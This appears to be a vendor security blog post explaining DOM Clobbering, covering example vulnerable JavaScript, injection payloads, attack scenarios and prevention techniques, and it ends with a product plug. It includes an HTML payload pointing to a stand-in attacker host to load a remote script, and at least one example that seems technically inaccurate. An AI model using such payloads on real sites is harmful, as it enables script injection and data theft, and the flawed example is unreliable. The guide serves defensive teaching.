What is DOM Clobbering? Ways to Exploit, Examples and Impact

Discover the mechanics of DOM Clobbering. This guide covers exploitation techniques, real-world examples, and prevention strategies for security pros.

What is DOM Clobbering? Ways to Exploit, Examples and Impact

DOM Clobbering is a sophisticated web security vulnerability that allows an attacker to overwrite global JavaScript variables by injecting specific HTML elements into a page. While often overshadowed by Cross-Site Scripting (XSS), DOM Clobbering is a powerful technique that can bypass modern security filters and escalate minor HTML injections into full-scale application compromises. In this guide, we will break down how the Document Object Model (DOM) handles element IDs, how attackers exploit this behavior, and how you can defend your infrastructure from these subtle attacks.

What is the Document Object Model (DOM)?

To understand DOM Clobbering, we first need a clear understanding of the DOM itself. The DOM is a programming interface for web documents. It represents the page so that programs can change the document structure, style, and content. The browser represents the HTML document as a tree of nodes and objects; with JavaScript, we can access and manipulate these objects.

Historically, browsers introduced a feature meant to make development easier: elements with an id or name attribute are automatically added as properties to the global window object. For example, if you have an element <div id="userProfile"></div>, you can access it in JavaScript via window.userProfile or simply userProfile. This legacy behavior is the root cause of DOM Clobbering.

The Mechanics of DOM Clobbering

DOM Clobbering occurs when an attacker-controlled HTML snippet "clobbers" (overwrites) a global variable or a property of the window or document objects. This is particularly dangerous when a web application uses global variables to store configuration settings, state, or URLs for fetching scripts.

Basic Variable Clobbering

Consider a scenario where a site uses a global variable to determine where to load a specific plugin:

// Vulnerable JavaScript
var pluginUrl = window.config.url || "/assets/js/default-plugin.js";
var script = document.createElement("script");
script.src = pluginUrl;
document.head.appendChild(script);

If an attacker can inject HTML (for example, through a comment section or a profile bio), they can inject the following:

<a id="config" name="url" href="https://attacker.com/malicious.js"></a>

In this case, the browser populates window.config. Because of how the <a> tag interacts with the DOM, window.config.url will now point to the href attribute of the injected link. When the script executes, it loads https://attacker.com/malicious.js instead of the default plugin, resulting in a successful XSS attack.

Advanced Exploitation Techniques

DOM Clobbering isn't limited to simple top-level variables. Attackers can use various HTML structures to clobber nested properties or even specific document methods.

Clobbering Nested Properties

To clobber a nested property like window.settings.api.key, attackers often use the relationship between form elements and their children. Elements like <input>, <output>, or <button> that are nested inside a <form> are accessible as properties of that form object.

<form id="settings">
  <output id="api" name="key">clobbered-key-value</output>
</form>

In the JavaScript console, accessing window.settings.api.key will now return the string "clobbered-key-value". This is because the browser creates a mapping where the ID of the form becomes a global variable, and the ID/name of the child becomes a property of that form.

Using the toString() Property

One of the cleverest ways to exploit DOM Clobbering involves the toString() behavior of certain elements. When a JavaScript operation expects a string but receives an object (like an HTML element), it calls the object's .toString() method.

For most elements, .toString() returns something like "[object HTMLDivElement]". However, for <a> and <area> elements, .toString() returns the value of the href attribute. This is why the <a> tag is the preferred tool for attackers wanting to clobber variables that the application expects to be strings.

Clobbering the document Object

While clobbering window is common, clobbering properties of the document object can be even more impactful. For instance, clobbering document.cookie or document.referrer can interfere with security logic. Although modern browsers have implemented some protections against clobbering certain built-in properties, legacy systems and specific browser versions remain vulnerable.

Real-World Examples and Scenarios

To truly grasp the impact, let's look at how DOM Clobbering manifests in real-world applications.

Scenario 1: Bypassing HTML Sanitizers

Many developers use sanitization libraries like DOMPurify to clean user input. However, if the sanitizer is configured too permissively-allowing id or name attributes-an attacker can still perform DOM Clobbering.

Imagine a site that sanitizes a user's bio but allows <a id="...">. If the site's main logic uses a global variable var debugMode = window.debug || false;, an attacker can inject <a id="debug"></a>. Since the element exists, window.debug is truthy, and the site might expose sensitive debugging information or administrative panels to the attacker.

Scenario 2: Clobbering Template Engines

Client-side template engines often use global configuration objects to define where templates are fetched from. If an attacker clobbers the templateBaseUrl variable, they can force the application to load malicious templates from an external server. These templates can contain logic that steals CSRF tokens or redirects the user to a phishing site.

The Impact of DOM Clobbering

The impact of a successful DOM Clobbering attack ranges from minor logic disruptions to complete account takeover. The primary impacts include:

  1. Cross-Site Scripting (XSS): As seen in our examples, clobbering a URL used in a script tag or a dynamic import leads directly to arbitrary code execution.
  2. Open Redirection: Clobbering variables used in window.location assignments can send users to malicious domains.
  3. Data Exfiltration: By overwriting API endpoints or tracking IDs, attackers can redirect sensitive data (like PII or session tokens) to their own servers.
  4. Bypassing Security Controls: Clobbering boolean flags used for feature toggles or security checks can disable protections like two-factor authentication prompts or input validation.

How to Prevent DOM Clobbering

Preventing DOM Clobbering requires a defense-in-depth approach. Since the vulnerability stems from a fundamental browser behavior, developers must be proactive in how they write and sanitize their code.

1. Use const and let instead of var

Variables declared with const or let are block-scoped and do not become properties of the window object in the same way var does. This makes them much harder to clobber. Always prefer const for configuration objects that should not change.

// Secure
const config = { url: "/api/v1" };
// The browser will not overwrite this even if <div id="config"> is injected.

2. Validate the Type of Variables

Before using a global variable, verify that it is the expected type (e.g., a string or a plain object) rather than an HTML element.

if (typeof window.config === 'string') {
    // Proceed safely
}

Alternatively, check if the object is an instance of HTMLElement to detect if it has been clobbered.

3. Use Object.freeze()

For critical configuration objects, use Object.freeze() to prevent any modifications or overwriting. This ensures that even if an attacker manages to inject an element with a matching ID, the JavaScript object remains unchanged.

4. Sanitize HTML Input Rigorously

If your application must accept HTML from users, use a robust library like DOMPurify. Ensure that you do not allow the id or name attributes unless absolutely necessary. If you do allow them, use a prefix (e.g., user-content-) to prevent them from colliding with application variables.

5. Use Namespace Objects

Instead of using top-level global variables, wrap your application logic in a single, uniquely named namespace object that is initialized immediately.

window.MySecureApp = window.MySecureApp || {};
window.MySecureApp.config = { ... };

Conclusion

DOM Clobbering is a testament to the fact that even "safe" HTML injection can have devastating consequences. By understanding the legacy behaviors of the browser and how they interact with modern JavaScript, developers can build more resilient applications. Always assume that any global variable is a target and use modern JavaScript features like const and strict type checking to safeguard your code.

To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon. Jsmon helps you track changes in your infrastructure and identify potential entry points for attacks like DOM Clobbering by monitoring your client-side assets and JavaScript changes in real-time.